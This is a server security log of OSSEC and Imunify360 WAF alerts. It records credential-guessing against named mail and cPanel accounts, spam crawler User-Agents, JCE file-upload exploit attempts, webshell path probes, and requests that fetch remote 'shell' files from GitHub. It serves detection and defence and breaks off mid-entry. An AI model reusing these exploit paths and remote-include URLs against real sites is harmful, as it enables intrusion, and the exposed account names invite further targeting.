IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://money.mymotherlode.com/clarkebroadcasting.mymotherlode/article/abnewswire-2026-6-2-pressure-washing-in-sayville-ny-shifts-to-tighter-risk-mitigation-standards-by-bayports-1-power-washing-pros-roof-and-house-washing/\">pressure washing</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-08 11:10:21 dovecot_login authenticator failed for H=(abts-north-static-105.80.160.122.airtelbroadband.in) [188.122.37.97]:50516: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.2.228.48
country_id: 597427
description:
2026-07-08 11:11:03 dovecot_login authenticator failed for H=static-185-2-228-48.cust.tele2.lt ([186.239.240.127]) [185.2.228.48]:48822: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-08 11:11:16 dovecot_login authenticator failed for H=([72.223.188.94]) [51.116.117.203]:25436: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.108.69.192
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intrusion-detection-systems HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.216
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.google.com/maps/d/u/0/edit?mid=1exIM3fHxol2Kng8o4hleZ4D4DMzDarY&usp=sharing\">SimpleSwap user reviews</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-08 11:21:36 dovecot_login authenticator failed for H=(60-250-63-7.hinet-ip.hinet.net) [182.95.181.50]:51934: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-08 11:21:53 dovecot_login authenticator failed for H=([184.181.178.35]) [98.157.226.42]:45364: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-08 11:28:24 dovecot_login authenticator failed for H=([188.226.132.113]) [125.23.228.86]:38200: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94\xe0\xb8\xab\xe0\xb8\xb5 (<a href=\"https://yedhod18.com/video-tag/kaijeaw/\">yedhod18.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-08 11:28:45 dovecot_login authenticator failed for H=([98.181.137.75]) [183.82.108.109]:35486: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-08 11:30:20 dovecot_login authenticator failed for H=([115.144.178.210]) [128.185.201.26]:58530: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-08 11:30:42 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([65.20.204.131]) [83.226.56.106]:56480: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.132.73.234
country_id: 3865483
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-08 11:35:24 dovecot_login authenticator failed for H=([74.208.177.56]) [175.200.217.128]:59928: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-08 11:35:47 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([1.227.228.131]) [83.208.70.70]:35369: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-08 11:37:34 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([182.95.181.50]) [71.235.27.139]:48150: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-08 11:37:47 dovecot_login authenticator failed for H=([182.132.164.178]) [210.5.117.238]:65418: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-08 11:37:21 dovecot_login authenticator failed for H=([200.222.72.41]) [50.217.40.11]:42200: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-08 11:38:19 dovecot_login authenticator failed for H=([68.71.251.130]) [116.72.9.151]:45890: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 139.162.9.212
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s125169.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.236
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x89 (<a href=\"https://yedhod18.com/video-tag/%E0%B9%80%E0%B8%A2%E0%B9%87%E0%B8%94%E0%B9%81%E0%B8%A3%E0%B8%87/\">https://yedhod18.com/video-tag/\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94\xe0\xb9\x81\xe0\xb8\xa3\xe0\xb8\x87/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-08 11:46:32 dovecot_login authenticator failed for H=([218.92.244.10]) [59.144.79.102]:60078: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-08 11:46:57 dovecot_login authenticator failed for H=([178.178.222.52]) [94.16.17.141]:48510: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-08 11:49:04 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net ([83.220.245.109]) [110.25.107.172]:36662: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.10.47.180
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/shootcannon/bypass-shell-collection/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350977
abuser: 114.10.47.180
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/media/com_pagebuilderck/gfonts/dce.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.10.47.180
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/shootcannon/bypass-shell-collection/refs/heads/main/font.css||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.10.47.180
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/shootcannon/bypass-shell-collection/refs/heads/main/font.css||User:yukticlick||SC:/home/yukticlick/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:metrodigitals||SC:/home/metrodigitals/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-08 11:51:32 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([31.173.67.115]) [218.103.36.176]:57328: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.182.101.207
country_id: 1835841
description:
2026-07-08 11:51:44 dovecot_login authenticator failed for H=([120.234.232.184]) [121.182.101.207]:38617: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 216.40.72.139
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/verloting-10-jaar-meneer-casino\">viagra quotes</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-08 11:54:36 dovecot_login authenticator failed for H=(134396.ip-ptr.tech) [125.23.228.86]:39902: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.45.237.214
country_id: 6252001
domain: autoconfig.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-08 11:54:59 dovecot_login authenticator failed for H=(111-70-7-136.emome-ip.hinet.net) [205.209.65.70]:37962: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-08 11:55:00 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([65.20.204.131]) [108.35.129.132]:43088: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-08 11:55:16 dovecot_login authenticator failed for H=([206.62.136.111]) [103.168.57.31]:36570: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-08 11:56:46 dovecot_login authenticator failed for H=([37.204.111.153]) [218.248.19.102]:58914: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-08 11:56:04 dovecot_login authenticator failed for H=(nsg-corporate-73.251.187.122.airtel.in) [196.190.220.199]:52504: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.200.42.112
country_id: 1880251
description:
2026-07-08 11:56:24 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [118.200.42.112]:59356: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.48
country_id: 1733045
description:
2026-07-08 12:01:45 dovecot_login authenticator failed for H=([192.252.220.90]) [49.124.149.48]:33634: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 93.185.162.24
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-1797.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:yukticlick||SC:/home/yukticlick/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: fefkadirectorsunion.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:fefkadirectors||SC:/home/fefkadirectors/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.7.217
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-08 12:13:50 dovecot_login authenticator failed for H=([49.124.152.157]) [101.13.4.120]:52392: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://wyrdwalkerpress.com/index.php?title=User:TandyFrisby5804\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.73.4.144
country_id: 953987
description:
2026-07-08 12:14:01 dovecot_login authenticator failed for H=([98.182.171.163]) [154.73.4.144]:60933: 535 Incorrect authentication data (set_id=prameela)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xad\xe0\xb9\x87\xe0\xb8\x81; <a href=\"http://yedhod18.com/video-tag/mwchu/\">http://yedhod18.com/video-tag/mwchu/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.35.4.128
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/church-audio HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.183.50.116
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/templates/shaper_helixultimate/css/font-awesome.min.css HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.102.94.116
country_id: 163843
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/templates/shaper_helixultimate/css/template.css HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.154.79.244
country_id: 2921044
domain: metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/mailto:info@metrodigitals.com||User:metrodigitals||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 188.132.150.51
country_id: 298795
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:86022.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:55ac64f3e36bece98349daa21db79c7a51fcefd1||Title:0xae117029||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 139.162.9.212
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s506221.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-08 12:23:32 dovecot_login authenticator failed for H=([174.64.199.71]) [98.122.215.23]:51942: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 57.159.30.22
country_id: 1269750
description:
[2026-07-08 12:23:54 +0530] info [whostmgrd] 57.159.30.22 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
2026-07-08 12:25:45 dovecot_login authenticator failed for H=([218.200.9.182]) [105.247.89.210]:58272: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-08 12:25:27 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-08 12:28:35 dovecot_login authenticator failed for H=(industrianaval.fla.gvt.net.br) [196.0.113.110]:57103: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.243.200.248
country_id: 1861060
description:
2026-07-08 12:28:50 dovecot_login authenticator failed for H=(221-120-73-25.emome-ip.hinet.net) [20.243.200.248]:56440: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 93.185.162.24
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-6196.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.211.29
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/smilies/about.php||SC:/home/yukticlick/public_html/wp-includes||


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-9563.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-9358.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.114.58.223
country_id: 1269750
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.26||T:APACHE||RA:103.114.58.223||TA:103.114.58.223||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-08 12:35:39 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [220.77.214.59]:54179: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.142.132
country_id: 1733045
description:
2026-07-08 12:36:27 dovecot_login authenticator failed for H=([199.58.185.11]) [49.124.142.132]:51916: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.194
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-37.196.51.187.194||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.40
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-37.196.51.184.40||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.187.173.173
country_id: 6252001
description:
2026-07-08 12:37:53 dovecot_login authenticator failed for H=(89.187.173.173) [89.187.173.173]:54628: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.107
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-37.196.51.184.107||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 139.162.9.212
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s172426.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.99.16
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.163.239.103
country_id: 1168579
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:47160.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2644e39e065ffa3ea009376b20db8e624a441ab4||Title:0x0931e082||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-08 12:50:49 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de (78-66-44-246-no2550.tbcn.telia.com) [93.241.232.14]:56831: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.26.82.63
country_id: 783754
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-08 12:52:46 dovecot_login authenticator failed for H=([49.124.152.225]) [122.186.202.58]:39414: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.163.239.103
country_id: 1168579
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11762.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c158d74c8bf5c4fae3765d177579e3c6877bcb0d||Title:0x8e531475||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.102.59
country_id: 294640
description:
2026-07-08 12:53:28 dovecot_login authenticator failed for H=([49.124.153.47]) [130.185.102.59]:39740: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-08 12:56:27 dovecot_login authenticator failed for H=([85.30.248.213]) [190.104.24.6]:46240: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.185.22.6
country_id: 1835841
description:
2026-07-08 13:04:54 dovecot_login authenticator failed for H=([111.184.224.246]) [211.185.22.6]:59883: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-08 13:05:25 dovecot_login authenticator failed for H=([67.201.57.102]) [117.250.250.2]:59144: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.79.191.202
country_id: 878675
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93672.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:069871b51f9e0f1128f69281d447856b2b43143b||Title:i9bj0l3wkmgw4t6yjq||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-08 13:10:39 dovecot_login authenticator failed for H=([106.63.13.176]) [65.20.146.109]:44567: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
